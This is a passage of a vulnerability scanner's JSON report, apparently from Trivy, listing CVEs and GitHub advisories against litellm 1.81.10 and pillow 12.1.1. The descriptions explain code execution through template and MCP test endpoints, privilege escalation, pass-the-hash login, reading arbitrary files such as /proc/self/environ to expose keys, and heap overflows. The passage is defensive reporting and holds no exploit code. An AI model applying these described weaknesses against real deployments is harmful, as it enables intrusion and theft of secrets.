"GHSA-wxxx-gvqv-xp7p" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.10", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40217", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6c787ed9d7ecf53076e99a009f6f18bac55ef467e652014c2c140090952cd2e9", "Title": "LiteLLM: LiteLLM: Arbitrary Code Execution via bytecode rewriting", "Description": "LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.", "Severity": "HIGH", "CweIDs": [ "CWE-420", "CWE-94" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.8, "V40Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:24866", "https://access.redhat.com/errata/RHSA-2026:30056", "https://access.redhat.com/security/cve/CVE-2026-40217", "https://advisory.echohq.com/cve/CVE-2026-40217", "https://bugzilla.redhat.com/show_bug.cgi?id=2457301", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable", "https://github.com/BerriAI/litellm/security/advisories/GHSA-wxxx-gvqv-xp7p", "https://nvd.nist.gov/vuln/detail/CVE-2026-40217", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40217.json", "https://www.cve.org/CVERecord?id=CVE-2026-40217", "https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm", "https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/" ], "PublishedDate": "2026-04-10T14:16:36.307Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-42203", "VendorIDs": [ "GHSA-xqmj-j6mv-4862" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.7", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42203", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0b1365cdc29980ff9e7c3134e4afb1ce250de942a88226adb39f5cbb71c0797d", "Title": "litellm: LiteLLM: Arbitrary code execution via unsandboxed prompt templates", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.80.5 to before version 1.83.7, the POST /prompts/test endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process. The endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host. This issue has been patched in version 1.83.7.", "Severity": "HIGH", "CweIDs": [ "CWE-1336", "CWE-94" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42203", "https://advisory.echohq.com/cve/CVE-2026-42203", "https://bugzilla.redhat.com/show_bug.cgi?id=2467917", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable", "https://github.com/BerriAI/litellm/security/advisories/GHSA-xqmj-j6mv-4862", "https://github.com/advisories/GHSA-xqmj-j6mv-4862", "https://nvd.nist.gov/vuln/detail/CVE-2026-42203", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42203.json", "https://www.cve.org/CVERecord?id=CVE-2026-42203" ], "PublishedDate": "2026-05-08T04:16:19.45Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-42271", "VendorIDs": [ "GHSA-v4p8-mg3p-g94g" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.7", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42271", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:00ca7e494cd7f31336dbcf370c6c06ee88807649e585b21e4c56066ab7903f08", "Title": "litellm: LiteLLM: Authenticated command execution via MCP stdio test endpoints", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.", "Severity": "HIGH", "CweIDs": [ "CWE-77", "CWE-78" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N", "V3Score": 8.8, "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27784", "https://access.redhat.com/errata/RHSA-2026:28960", "https://access.redhat.com/errata/RHSA-2026:30056", "https://access.redhat.com/security/cve/CVE-2026-42271", "https://advisory.echohq.com/cve/CVE-2026-42271", "https://bugzilla.redhat.com/show_bug.cgi?id=2467924", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable", "https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g", "https://github.com/advisories/GHSA-v4p8-mg3p-g94g", "https://nvd.nist.gov/vuln/detail/CVE-2026-42271", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.json", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271", "https://www.cve.org/CVERecord?id=CVE-2026-42271" ], "PublishedDate": "2026-05-08T04:16:21.82Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-47101", "VendorIDs": [ "GHSA-qrc4-49gv-mv9m" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.14", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-47101", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:88874171b429dd769d51cdda2658bca4afcf7624e28ead2491ee7f0625d114d0", "Title": "litellm: LiteLLM: Privilege escalation via API key generation with insufficient permission validation", "Description": "LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-based access controls that would otherwise block the request, enabling full privilege escalation from internal_user to proxy_admin.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-639" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.8, "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-47101", "https://advisory.echohq.com/cve/CVE-2026-47101", "https://bugzilla.redhat.com/show_bug.cgi?id=2480635", "https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/commit/2220f3076ac89bd2a2e3439acf57dcfbec2434c9", "https://github.com/BerriAI/litellm/commit/5190bd07eb23a037745d86328096f54378f1614a", "https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c", "https://github.com/BerriAI/litellm/releases/tag/v1.83.14-stable", "https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9", "https://nvd.nist.gov/vuln/detail/CVE-2026-47101", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47101.json", "https://www.cve.org/CVERecord?id=CVE-2026-47101", "https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce", "https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-api-key-generation" ], "PublishedDate": "2026-05-21T21:16:32.413Z", "LastModifiedDate": "2026-10-08T16:17:16.95Z" }, { "VulnerabilityID": "CVE-2026-47102", "VendorIDs": [ "GHSA-wpfp-gwwc-vwq6" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.10", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-47102", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a7f97af77e0911dbc71250b9c3ee12fc181ddc8a76d24e05983a6fee3ba9edf9", "Title": "litellm: LiteLLM: Privilege escalation through user role modification", "Description": "LiteLLM prior to 1.83.10 allows a user to modify their own user_role via the /user/update endpoint. While the endpoint correctly restricts users to updating only their own account, it does not restrict which fields may be changed. A user who can reach this endpoint can set their role to proxy_admin, gaining full administrative access to LiteLLM including all users, teams, keys, models, and prompt history. Users with the org_admin role have legitimate access to this endpoint and can exploit this vulnerability without chaining any additional flaw.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-915" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.8, "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-47102", "https://advisory.echohq.com/cve/CVE-2026-47102", "https://bugzilla.redhat.com/show_bug.cgi?id=2480634", "https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/commit/128d32d2494b759c5d15da3452452af4c6a34c01", "https://github.com/BerriAI/litellm/commit/e6f18ce75b111c9b93dc15c72894cbdeb53177ce", "https://github.com/BerriAI/litellm/pull/25541", "https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable", "https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9", "https://nvd.nist.gov/vuln/detail/CVE-2026-47102", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47102.json", "https://www.cve.org/CVERecord?id=CVE-2026-47102", "https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce", "https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-user-update" ], "PublishedDate": "2026-05-21T21:16:32.557Z", "LastModifiedDate": "2026-10-08T16:17:17.247Z" }, { "VulnerabilityID": "CVE-2026-59822", "VendorIDs": [ "GHSA-7488-6r32-c95q" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.84.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59822", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e7c5846b434abc47d10bfe17baf20f651ddea9d53e14464b12c299702c40bf70", "Title": "litellm: LiteLLM: Unauthorized access due to authentication bypass", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.84.0, LiteLLM's MCP Streamable HTTP endpoint allowed an unauthenticated attacker to use a fabricated Authorization header to trigger an OAuth2 passthrough fallback path that replaced failed LiteLLM key validation with an empty UserAPIKeyAuth() object, allowing requests to reach MCP tooling without a valid LiteLLM key. This issue is fixed in version 1.84.0.", "Severity": "HIGH", "CweIDs": [ "CWE-287", "CWE-306" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59822", "https://advisory.echohq.com/cve/CVE-2026-59822", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c", "https://github.com/BerriAI/litellm/pull/26463", "https://github.com/BerriAI/litellm/releases/tag/v1.84.0", "https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q", "https://nvd.nist.gov/vuln/detail/CVE-2026-59822", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-59822", "https://www.cve.org/CVERecord?id=CVE-2026-59822", "https://www.wiz.io/blog/ai-infrastructure-honeypot" ], "PublishedDate": "2026-07-08T20:16:57.683Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "GHSA-69x8-hrgq-fjj8", "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-69x8-hrgq-fjj8", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:26696b6301921a175b5f9c508407d1671af8c5926e02c14bc0348f789d239b13", "Title": "LiteLLM: Password hash exposure and pass-the-hash authentication bypass", "Description": "### Impact\n\nThree issues combine into a full authentication bypass chain:\n\n1. Weak hashing: User passwords are stored as unsalted SHA-256 hashes, making them vulnerable to rainbow table attacks and trivially identifying users with identical passwords.\n2. Hash exposure: Multiple API endpoints (/user/info, /user/update, /spend/users) return the password hash field in responses to any authenticated user regardless of role. Plaintext passwords could also potentially be exposed in certain scenarios.\n4. Pass-the-hash: The /v2/login endpoint accepts the raw SHA-256 hash as a valid password without re-hashing, allowing direct login with a stolen\n\nAn already authenticated user can retrieve another user's password hash from the API and use it to log in as that user. This enables full privilege escalation in three HTTP requests.\n\n### Patches\n\nFixed in v1.83.0. Passwords are now hashed with scrypt (random 16-byte salt, n=16384, r=8, p=1). Password hashes are stripped from all API responses. Existing SHA-256 hashes are transparently migrated on next login.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.6 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-69x8-hrgq-fjj8", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/security/advisories/GHSA-69x8-hrgq-fjj8", "https://github.com/advisories/GHSA-69x8-hrgq-fjj8" ], "PublishedDate": "2026-04-08T00:04:12Z", "LastModifiedDate": "2026-04-08T00:04:12Z" }, { "VulnerabilityID": "GHSA-g5ff-637f-6q2m", "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.95.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-g5ff-637f-6q2m", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2d278bffe12738d3d55a8def9f10504f786d69dcf8f15c5d6426f3a02635530c", "Title": "LiteLLM: internal_user_viewer arbitrary local file read via `vertex_ai_credentials`", "Description": "## Summary\n\nAn authenticated LiteLLM proxy user could read arbitrary local files from the proxy runtime by sending a crafted `vertex_ai_credentials` value to `/utils/transform_request`. The request-body safety blocklist rejected `vertex_credentials` but missed its alias `vertex_ai_credentials`, which let the value reach the Vertex AI credential loader and trigger a file read that is sent to an attacker-controlled URL.\n\n## Impact\n\nA low-privilege authenticated user (only `internal_user_viewer`, obtainable through SSO login on many deployments) could read any file readable by the LiteLLM process. Reading files such as `/proc/self/environ` can disclose `LITELLM_MASTER_KEY` and provider API keys, so the impact can escalate to full proxy-admin control.\n\n## Remediation\n\nUpgrade to `1.95.0` or later. The fix adds the missing alias to the request-body blocklist, so no configuration change is needed once you upgrade. There is no reliable configuration workaround on affected versions.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-g5ff-637f-6q2m", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/commit/065faf6e695be64a1a367601271839914e4a6621", "https://github.com/BerriAI/litellm/pull/34189", "https://github.com/BerriAI/litellm/releases/tag/v1.95.0", "https://github.com/BerriAI/litellm/security/advisories/GHSA-g5ff-637f-6q2m" ], "PublishedDate": "2026-10-27T15:32:36Z", "LastModifiedDate": "2026-10-27T15:32:36Z" }, { "VulnerabilityID": "CVE-2026-112393", "VendorIDs": [ "GHSA-332p-7hrc-92wf" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112393", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9d8c99ee389133048299bb1808ad735a8f4ebf27f880496a63deb6f9d1b286af", "Title": "pillow: Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO", "Description": "Pillow is a Python imaging library. From 2.0.0 until 13.0.0, Pillow has a heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data through libtiff to a target without a usable fileno(), such as BytesIO. The callback sizes its allocation from the prior buffer size instead of the current write position, allowing an attacker-controlled out-of-line TIFF tag or retained ICC profile to be copied beyond the allocation after libtiff seeks forward. This overflow can crash the process and may allow code execution. Independently, unwritten alignment gaps in compressed TIFF output larger than 64 KiB can disclose stale heap bytes without a crafted tag. File paths and targets with real file descriptors are unaffected. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112393", "https://advisory.echohq.com/cve/CVE-2026-112393", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-13350/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf", "https://linux.oracle.com/cve/CVE-2026-112393.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112393", "https://www.cve.org/CVERecord?id=CVE-2026-112393" ], "PublishedDate": "2026-10-19T21:17:07.613Z", "LastModifiedDate": "2026-10-26T21:01:35.733Z" }, { "VulnerabilityID": "CVE-2026-112398", "VendorIDs": [ "GHSA-5x8w-8jj5-q52h" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112398", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8dd08a09fe762bf202d8533b335b0d3b5be9d421e29d80e62b859c6837550aef", "Title": "pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122", "CWE-787" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112398", "https://advisory.echohq.com/cve/CVE-2026-112398", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h", "https://linux.oracle.com/cve/CVE-2026-112398.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112398", "https://www.cve.org/CVERecord?id=CVE-2026-112398" ], 